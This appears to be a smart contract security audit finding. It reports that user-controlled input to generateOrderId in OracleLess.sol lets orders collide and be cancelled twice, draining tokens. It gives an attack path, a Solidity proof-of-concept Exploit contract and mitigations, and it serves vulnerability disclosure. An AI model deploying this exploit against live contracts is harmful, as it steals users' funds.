002.md

Crazy Smoke Barbel

High

generateOrderId can lead to order overwrite allowing an attacker to drain the tokensIn

Summary

generateOrderId uses user supplied recipient in Oracleless.sol which can lead to an overwrite in orders but duplicate value in pendingOrderIds which can allow to withdraw more tokens than there were sent in

Root Cause

In Oracleless.sol the function createOrder() allows the attacker to control recipient value which gets passed on to MASTER.generateOrderId(recipient); which allows an attacker to make 2 requests that will have the same orderId overwriting the orders in orders[orderId] = ... but it ends up twice in pendingOrderIds because it's an array instead of a mapping. In this case an attacker can send 1 tokenIn on the first request and 2 tokenIn on the second request and when calling cancelOrder twice with the orderId the contract will send 2 * 2 tokenIn, more than it was sent initially in the contract.

Internal pre-conditions

The attacker has to call createOrder twice and then cancelOrder twice in the same block (can be done in same transaction)

External pre-conditions

No response

Attack Path

1. Call createOrder with 1 token
2. Call createOrder with 2 tokens
3. Call cancelOrder -> receive 2 tokens
4. Call cancelOrder -> receive 2 tokens

Impact

The attacker can withdraw more tokens than he initially sent during createOrder

PoC

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import {OracleLess} from "OracleLess.sol";

contract Exploit {
    OracleLess target;
	address tokenIn;
	address tokenOut;
	
    constructor(address adr, address tIn, address tOut) {
        target = OracleLess(adr);
		tokenIn = tIn;
		tokenOut = tOut;
    }

    function exploit() public {
        target.createOrder(tokenIn, tokenOut, 1, 0, address(this), 0);
        target.createOrder(tokenIn, tokenOut, 2, 0, address(this), 0);
        uint96 orderId = target.generateOrderId(address(this));
        target.cancelOrder(orderId);
        target.cancelOrder(orderId);
    }
}

Mitigation

Option 1: Don't allow user supplied data in generateOrderId Option 2: Check if orderId already exists in orders in createOrder in OracleLess.sol